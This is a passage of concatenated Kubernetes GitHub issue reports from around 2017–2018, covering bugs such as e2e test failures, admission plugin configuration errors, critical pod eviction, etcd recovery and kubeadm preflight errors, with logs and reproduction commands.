spec.clusterip\ ,\r                     },\r                  ,\r                 retryafterseconds: 0,\r             },\r             code: 422,\r         },\r     }\r     service \ dns-test-service-3\  is invalid: spec.clusterip: invalid value: \ 127.1.2.3\ : provided ip is not in the valid range\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:477\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r service  ip  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/service/ipallocator/controller/repair.go  and  port  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/service/portallocator/allocator.go    allocator repair controllers do not send events on errors, they only log the error, making it difficult to diagnosticate when there is an error  ie service cidr  or port range full .\r \r   what you expected to happen  :\r \r repair controllers should emit an event, so looking at the service events one can easily find why it does not have a cluster ip or a port exposed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r

is this a bug report or feature request?  :\r  \r   what happened  :\r in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55056/pull-kubernetes-kubemark-e2e-gce/62590/  e2e-up.sh  failed due to  55229.\r afterwards  log-dump.sh  crashed as follows:\r \r    \r w1114 08:13:34.011  2017/11/14 08:13:34 util.go:155: running: ./cluster/log-dump/log-dump.sh /workspace/_artifacts\r w1114 08:13:34.059  trying to find master named 'e2e-62590-master'\r w1114 08:13:34.059  looking for address 'e2e-62590-master-ip'\r i1114 08:13:34.160  checking for custom logdump instances, if any\r i1114 08:13:34.160  sourcing kube-util.sh\r i1114 08:13:34.160  detecting project\r i1114 08:13:34.161  project: k8s-jkns-pr-kubemark\r i1114 08:13:34.161  network project: k8s-jkns-pr-kubemark\r i1114 08:13:34.161  zone: us-central1-f\r i1114 08:13:34.161  dumping logs from master locally to '/workspace/_artifacts'\r w1114 08:13:34.805  using master: e2e-62590-master  external ip: 104.198.218.200 \r i1114 08:14:04.313  changing logfiles to be world-readable for download\r w1114 08:14:04.970  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:04.971   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:04.971  \r w1114 08:14:10.675  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:10.675   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:10.675  \r w1114 08:14:16.400  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:16.401   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:16.401  \r w1114 08:14:22.149  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:22.149   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:22.149  \r w1114 08:14:27.891  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:27.892   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:27.892  \r w1114 08:14:33.665  error:  gcloud.compute.ssh  could not fetch resource:\r w1114 08:14:33.666   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:33.666  \r i1114 08:14:33.766  copying 'kern kube-apiserver kube-apiserver-audit kube-scheduler rescheduler kube-controller-manager etcd etcd-events glbc cluster-autoscaler kube-addon-manager fluentd startupscript docker kubelet supervisor/supervisord supervisor/kubelet-stdout supervisor/kubelet-stderr supervisor/docker-stdout supervisor/docker-stderr' from e2e-62590-master\r w1114 08:14:34.464  error:  gcloud.compute.instances.get-serial-port-output  could not fetch serial port output: the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:35.198  error:  gcloud.compute.scp  could not fetch resource:\r w1114 08:14:35.198   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-62590-master' was not found\r w1114 08:14:35.199  \r i1114 08:14:35.299  dumping logs from nodes locally to '/workspace/_artifacts'\r i1114 08:14:35.299  detecting nodes in the cluster\r w1114 08:14:36.462  ./cluster/log-dump/log-dump.sh: line 235: node_names @ : unbound variable\r w1114 08:14:36.462  2017/11/14 08:14:36 util.go:157: step './cluster/log-dump/log-dump.sh /workspace/_artifacts' finished in 1m2.451062927s\r    \r \r   what you expected to happen  :\r \r graceful exit.\r

version  :\r v1.10.0-alpha.0.821+a505d1bc7854c0-dirty\r \r   what happened  :\r when enable eventratelimit with  configuration  like below, apiserver can't start and get error\r  error: failed to initialize admission: no kind is registered for the type runtime.unknown \r \r    \r kind: admissionconfiguration\r apiversion: apiserver.k8s.io/v1alpha1\r plugins:\r - name: \ eventratelimit\ \r   configuration:\r     apiversion: eventratelimit.admission.k8s.io/v1alpha1\r     kind: configuration\r     limits:\r     - type: namespace\r       qps: 50\r       burst: 100\r       cachesize: 2000\r     - type: user\r       qps: 10\r       burst: 50\r    \r but it can be start success when use  path  in configuration\r    \r   cat eventratelimit.config \r kind: admissionconfiguration\r apiversion: apiserver.k8s.io/v1alpha1\r plugins:\r - name: \ eventratelimit\ \r   path: /data/src/k8s.io/kubernetes/event.yaml\r \r   cat event.yaml \r apiversion: eventratelimit.admission.k8s.io/v1alpha1\r kind: configuration\r limits:\r - type: namespace\r   qps: 2\r   burst: 3\r   cachesize: 2000\r - type: user\r   qps: 10\r   burst: 50\r    \r   error log  :\r    \r  root@ip-172-18-13-114 kubernetes   cat /tmp/kube-apiserver.log \r i1211 04:22:29.972582   12583 feature_gate.go:184  feature gates: map rotatekubeletservercertificate:false debugcontainers:false taintbasedevictions:false hugepages:false kubeletconfigfile:false taintnodesbycondition:false expandpersistentvolumes:false deviceplugins:false allalpha:false dynamickubeletconfig:false resourcelimitspriorityfunction:false mountcontainers:false pvcprotection:false persistentlocalvolumes:false mountpropagation:false custompoddns:false accelerators:false enableequivalenceclasscache:false localstoragecapacityisolation:false csipersistentvolume:false initializers:false blockvolume:false experimentalcriticalpodannotation:false cpumanager:false volumescheduling:false servicenodeexclusion:false podpriority:false apiresponsecompression:false \r i1211 04:22:29.972708   12583 server.go:121  version: v1.10.0-alpha.0.831+bb72237375dfb3-dirty\r i1211 04:22:29.973064   12583 server.go:651  initializing deserialization cache size based on 0mb limit\r i1211 04:22:29.973086   12583 server.go:670  initializing cache sizes based on 0mb limit\r i1211 04:22:30.166122   12583 storage_factory.go:278  storing { serviceaccounts} in v1, reading as __internal from storagebackend.config{type:\ etcd3\ , prefix:\ /registry\ , serverlist:  string{\ http://127.0.0.1:2379\ }, keyfile:\ \ , certfile:\ \ , cafile:\ \ , quorum:true, paging:true, deserializationcachesize:1000, codec:runtime.codec nil , transformer:value.transformer nil , compactioninterval:300000000000}\r i1211 04:22:30.166189   12583 storage_factory.go:278  storing { secrets} in v1, reading as __internal from storagebackend.config{type:\ etcd3\ , prefix:\ /registry\ , serverlist:  string{\ http://127.0.0.1:2379\ }, keyfile:\ \ , certfile:\ \ , cafile:\ \ , quorum:true, paging:true, deserializationcachesize:1000, codec:runtime.codec nil , transformer:value.transformer nil , compactioninterval:300000000000}\r i1211 04:22:30.168025   12583 feature_gate.go:184  feature gates: map accelerators:false experimentalcriticalpodannotation:false expandpersistentvolumes:false persistentlocalvolumes:false servicenodeexclusion:false cpumanager:false taintnodesbycondition:false rotatekubeletservercertificate:false deviceplugins:false pvcprotection:false enableequivalenceclasscache:false volumescheduling:false kubeletconfigfile:false mountcontainers:false localstoragecapacityisolation:false blockvolume:false apiresponsecompression:false hugepages:false allalpha:false resourcelimitspriorityfunction:false mountpropagation:false csipersistentvolume:false initializers:true podpriority:false debugcontainers:false dynamickubeletconfig:false custompoddns:false taintbasedevictions:false \r i1211 04:22:30.168057   12583 initialization.go:90  enabled initializers feature as part of admission plugin setup\r error: failed to initialize admission: no kind is registered for the type runtime.unknown\r \r

 \r   what happened  :\r handlers with refresh period don't work on informers with 0 default refresh period\r \r   what you expected to happen  :\r it should increase the resynccheckperiod to that of the handler\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a sharedinformerfactory with refreshperiod of 0 then add a handler with a refresh period >0 and you'll see it never fires the handler.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: on-prem x64\r - os  e.g. from /etc/os-release :  ubuntu 16.04\r - kernel  e.g.  uname -a  :  4.4.0-66-generic  87-ubuntu smp fri mar 3 15:29:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r

it looks like kubernetes 1.7.2 rpm for centos are missing at the repository https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata\r https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata/filelists.xml\r \r this is just like  49500, but i think with the release of 1.9.1 it might have got removed?  \r \r will you be putting that back in the centos repo?\r \r  @kubernetes/sig-release\r \r thanks!\r

if i am not mistaken, https://github.com/kubernetes/kubernetes/blob/7945ae68d0c7cffb070d60ad4d8bfe6ef585c279/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/namespace/matcher.go l96 means that cluster-scoped resources other than namespaces are broken with admission webhooks.\r \r there is even a unit test checking that: https://github.com/kubernetes/kubernetes/blob/7945ae68d0c7cffb070d60ad4d8bfe6ef585c279/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/namespace/matcher_test.go l116.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r azure file plugin on windows does not work after node restart, this is due to  new-smbglobalmapping  powershell cmdlet has lost account name/key after reboot, we should remove the invalid link and do the mount again after kubelet restart.\r \r   what you expected to happen  :\r azure file plugin on windows should work after node restart\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. user has created a pod with azure file mount on windows\r 2. reboot agent node\r 3. user could get following error:\r    \r   warning  failed                 1m  x7 over 1m   kubelet, 77890k8s9010  error: error response from daemon: invalid bind mount spec \ c:\\\\var\\\\lib\\\\kubelet\\\\pods\\\\07251c5c-1cfc-11e8-8f70-000d3afd4b43\\\\volumes\\\\kubernetes.io~azure-file\\\\pvc-fb6159f6-1cfb-11e8-8f70-000d3afd4b43:c:/mnt/azure\ : invalid volume specification: 'c:\\var\\lib\\kubelet\\pods\\07251c5c-1cfc-11e8-8f70-000d3afd4b43\\volumes\\kubernetes.io~azure-file\\pvc-fb6159f6-1cfb-11e8-8f70-000d3afd4b43:c:/mnt/azure': invalid mount config for type \ bind\ : bind source path does not exist\r   normal   sandboxchanged         1m  x8 over 1m   kubelet, 77890k8s9010  pod sandbox changed, it will be killed and re-created.\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9, v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r  

follows from https://github.com/kubernetes/kubernetes/issues/60500 issuecomment-372395317.\r \r we're seeing such flakes in our density test:\r \r    \r error while waiting for replication controller density-latency-pod-54 pods to be running: timeout while waiting for pods with labels \ name=density-latency-pod-54,type=density-latency-pod\  to be running\r    \r \r e.g:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11568\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11567\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11560\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11553\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11545\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11528\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11507\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11497\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/11492\r \r i'm not very sure if this should be a release-blocker - but we need to understand why this is happening.\r \r   / \r cc @wojtek-t \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r   \r >  \r   what happened  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t06:10:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t06:10:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r e2e.log\r  e2e.log  https://github.com/kubernetes/kubernetes/files/1935280/e2e.log \r \r /area conformance\r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i filled up my etcd servers --- they got to their 2 gb limit of back-end storage.  i eventually realized what happened, and recovered by compacting, defragging, and turning off the alarms.  after that the kube api-servers mostly recovered.  but there remains some constant complaining.  here is an example excerpt from an api-server's log  blank lines added for readability :\r    \r e0603 03:02:19.575769       1 available_controller.go:311  v1beta1.apiextensions.k8s.io failed with: operation cannot be fulfilled on apiservices.apiregistration.k8s.io \ v1beta1.apiextensions.k8s.io\ : the object has been modified; please apply your changes to the latest version and try again\r \r e0603 03:02:19.575769       1 available_controller.go:311  v1.batch failed with: operation cannot be fulfilled on apiservices.apiregistration.k8s.io \ v1.batch\ : the object has been modified; please apply your changes to the latest version and try again\r \r e0603 03:02:19.576234       1 available_controller.go:311  v1.networking.k8s.io failed with: operation cannot be fulfilled on apiservices.apiregistration.k8s.io \ v1.networking.k8s.io\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r restarting an api-server makes it stop logging these errors.\r \r   what you expected to happen  :\r i expected the api-servers to fully recover after the etcd cluster was restored to good health.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i think i outlined the critical elements above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@mjs-api-dal10s-a:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.658+586e558c3b0ee8-dirty\ , gitcommit:\ 586e558c3b0ee88f692798bbf76de357e1aae064\ , gittreestate:\ dirty\ , builddate:\ 2018-06-01t05:26:55z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r i think this was the build of https://github.com/mikespreitzer/kubernetes/tree/fix-63608-b-on-1.10.3 found at sha256:361db117156145d390bdaecb25a63a0b183b25457b4227e82b53394d4783345a of the docker image mspreitz/hyperkube-amd64  tagged v1.10.3.2 .  it was built using  build/run.sh make  and then the image was created according to the makefile in cluster/images/hyperkube.  witness this on one of the master machines logging these complaints:\r    \r root@mjs-api-dal10s-a:~  docker exec a767aced8f7e ls -l /apiserver\r lrwxrwxrwx 1 root root 10 jun  1 06:39 /apiserver -> /hyperkube\r \r root@mjs-api-dal10s-a:~  docker exec a767aced8f7e ls -l /usr/local/bin/kube-apiserver\r lrwxrwxrwx 1 root staff 10 jun  1 06:39 /usr/local/bin/kube-apiserver -> /hyperkube\r \r root@mjs-api-dal10s-a:~  docker exec a767aced8f7e shasum -a 256 /hyperkube\r fd378738400188c18c64ef9315cdc267236600d810199f166eb80290232e8531  /hyperkube\r    \r \r - cloud provider or hardware configuration: local bare metal\r \r - os  e.g. from /etc/os-release : ubuntu 16.04.4\r \r - kernel  e.g.  uname -a  : linux mjs-api-dal10s-a 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: private ansible playbook\r \r - others:\r

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r container \ gcr.io/google-containers/fluentd-elasticsearch\  is missing the following fluentd plugin: fluent-plugin-rewrite-tag-filter\r \r   what you expected to happen  :\r to find the plugin inside the image\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r   docker run -it --rm gcr.io/google-containers/fluentd-elasticsearch:v2.3.1 bash -c \ gem list\  | grep fluent-plugin\r fluent-plugin-detect-exceptions  0.0.11 \r fluent-plugin-elasticsearch  2.11.5 \r fluent-plugin-kubernetes_metadata_filter  2.0.0 \r fluent-plugin-multi-format-parser  1.0.0 \r fluent-plugin-prometheus  1.0.1 \r fluent-plugin-systemd  1.0.1 \r    \r

what happened  :\r \r in 1.13, critical pod  with annotation  scheduler.alpha.kubernetes.io/critical-pod: \ \  , or with priorityclass \ system-cluster-critical\   are being evicted if the node becomes notready or unreachable.\r \r   what you expected to happen  :\r \r critical pod should be applied with corresponding toleration without tolerationseconds, hence unable to be evicted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - prepare a 1.13 cluster with 2+ nodes, and enable  experimentalcriticalpodannotation  featuregate\r - create a sample pod in kube-system, with criticalpod annotation:\r \r    yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: pause\r   namespace: kube-system\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: pause\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       labels:\r         app: pause\r     spec:\r       containers:\r       - name: pause\r         image: k8s.gcr.io/pause:3.1\r    \r \r - on the worker node where the pod lands, manually block network connectivity to apiserver\r \r    console\r $ k get po -n kube-system -o wide | grep pause\r pause-7bbd88b47d-7qzns                  1/1     running   0          9m1s   10.244.2.3   kube-node-1\r $ k get no | grep node-1\r kube-node-1   ready                      <none>   15m   v1.14.0-alpha.0.503+8848740f6d0f8\r \r   block network from kube-node-1 to master\r \r $ k get no | grep node-1\r kube-node-1   notready                   <none>   16m   v1.14.0-alpha.0.503+8848740f6d0f84\r $ k get po -n kube-system -o wide | grep pause\r pause-7bbd88b47d-7qzns                  1/1     running   0          12m   10.244.2.3   kube-node-1\r $ k get po pause-7bbd88b47d-7qzns -o yaml -n kube-system | grep -i toleration -a3\r   tolerations:\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r \r   after 300 seconds\r \r $ k get po -n kube-system -o wide | grep pause\r pause-7bbd88b47d-7qzns                  1/1     terminating   0          17m   10.244.2.3   kube-node-1   <none>           <none>\r pause-7bbd88b47d-9fdp9                  0/1     pending       0          36s   <none>       <none>        <none>           <none>\r    \r \r   anything else we need to know?  :\r \r note that critical pod can refer to a pod  1  with annotation  scheduler.alpha.kubernetes.io/critical-pod: \ \   or  2  with priorityclass \ system-cluster-critical\  . so this issue also happen in 1.12 and 1.11.\r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch  v1.13.0-beta \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm-dind-cluster\r - others:\r \r <!-- do not edit below this line -->\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r as a developer, i had important questions about sharedinformer that i could not answer from the comments on it.  colleagues also have questions.\r \r the comments on sharedinformer mainly contain a contrast with \ standard informer\  --- but there no longer is such a thing.  so most of the important facts about sharedinformer are not documented in the comments.\r \r   what you expected to happen  :\r i expected to be able to understand the contract between a sharedinformer and its clients by reading the comments on that interface.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

the documentation says to create a secret by taking the output of docker login from ~/.docker/config.json  ,base64 the json and place it as a string into a secret.yaml. after a lot of wrangling, we found it necessary to remove the auth wrapper in the json as well as all of the spaces in the json leaving a single line for this authentication mechanism to work. maybe the docker login config.json format has changed, but at the time of this writing these steps are required to successfully authenticate to dockerhub and pull an image..

test has been failing  100% of the time  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master&include-filter-by-regex=pods%20should%20invoke%20init%20containers%20on%20a%20restartalways%20pod  in  ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master/15 .\r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1325239137&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

kubeadm init\r  kubeadm  warning: kubeadm is in alpha, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  preflight  the system verification failed. printing the output from the verification:\r os: linux\r kernel_version: 3.10.0-514.6.1.el7.x86_64\r config_namespaces: enabled\r config_net_ns: enabled\r config_pid_ns: enabled\r config_ipc_ns: enabled\r config_uts_ns: enabled\r config_cgroups: enabled\r config_cgroup_cpuacct: enabled\r config_cgroup_device: enabled\r config_cgroup_freezer: enabled\r config_cgroup_sched: enabled\r config_cpusets: enabled\r config_memcg: enabled\r config_inet: enabled\r config_ext4_fs: enabled  as module \r config_proc_fs: enabled\r config_netfilter_xt_target_redirect: enabled  as module \r config_netfilter_xt_match_comment: enabled  as module \r config_overlay_fs: enabled  as module \r config_aufs_fs: not set - required for aufs.\r config_blk_dev_dm: enabled  as module \r cgroups_cpu: enabled\r cgroups_cpuacct: enabled\r cgroups_cpuset: enabled\r cgroups_devices: enabled\r cgroups_freezer: enabled\r cgroups_memory: enabled\r docker_version: 17.03.0-ce\r  preflight  some fatal errors occurred:\r         unsupported docker version: 17.03.0-ce\r         port 8080 is in use\r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware configuration\r -   os    e.g. from /etc/os-release : centos\r -   kernel    e.g.  uname -a  : linux mbslsrv01 3.10.0-514.6.1.el7.x86_64 \r -   install tools  : yum\r -   others  :\r \r \r   what happened  :\r \r when ran kubeadm init:\r ...\r  preflight  some fatal errors occurred:\r         unsupported docker version: 17.03.0-ce\r         port 8080 is in use\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r the hardware is a cluster server for internal users.

after bringing up federation control plane, most of the time we do see that federation-controller-manager pod is restarted like below:\r    \r root@s70553-hp-elitebook-840-g2:~/gopath/src/k8s.io/kubernetes  kubectl --namespace=federation-system get pods\r name                                            ready     status    restarts   age\r federation-apiserver-832758761-z1k2p            2/2       running   0          54s\r federation-controller-manager-105127570-15bpq   1/1       running   1          54s\r    \r although there is no issues afterwards, this is just causing few seconds delay in federation-controller-manager becoming operational.\r \r cc @kubernetes/sig-federation-bugs

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : v1.5.3\r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant environment\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : 4.4.0-62-generic\r -   install tools  : ansible\r -   others  :\r \r \r   what happened  :\r after creating 25 nginx pods and 400 services for the nginx deployment, kubelet updates iptables every 60 seconds at 100% cpu even with no changes to the system.\r \r  kubectl run --image=nginx --replicas=25 --port=80 d3 \r \r    \r  !/bin/bash\r for i in $ seq 400 ; do\r     kubectl create -f - <<eof\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: d3\r   name: d3-$i\r   namespace: default\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: d3\r   sessionaffinity: none\r   type: clusterip\r eof\r done\r    \r \r   what you expected to happen  :\r kubelet skips iptables updates when there aren't any changes.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r see above.\r \r   anything else we need to know  :\r setting  --make-iptables-util-chains=false  circumvents the problem.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r tried to create a  deployment  with  apiversion: apps/v1beta1 . got error:\r \r > error: error validating \ deployment.yaml\ : error validating data: unexpected end of json input; if you choose to ignore these errors, turn validation off with --validate=false\r \r the create succeeded after i changed  apiversion  to  extensions/v1beta1 . this was unexpected because the   deployment  docs  https://kubernetes.io/docs/concepts/workloads/controllers/deployment/  say to use  apps/v1beta1  for version > 1.6.0. i am on 1.6.4.\r \r   what you expected to happen  :\r \r i expected the  deployment  to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a new cluster on gke. attempt to create a deployment with  apiversion: apps/v1beta1 .\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r gke cluster created with  gcloud container create \r \r - os  e.g. from /etc/os-release :\r \r    \r $ cat /etc/os-release\r build_id=9202.64.0\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=57\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=57\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux gke-cluster-0-default-pool-dfb79334-l0b6 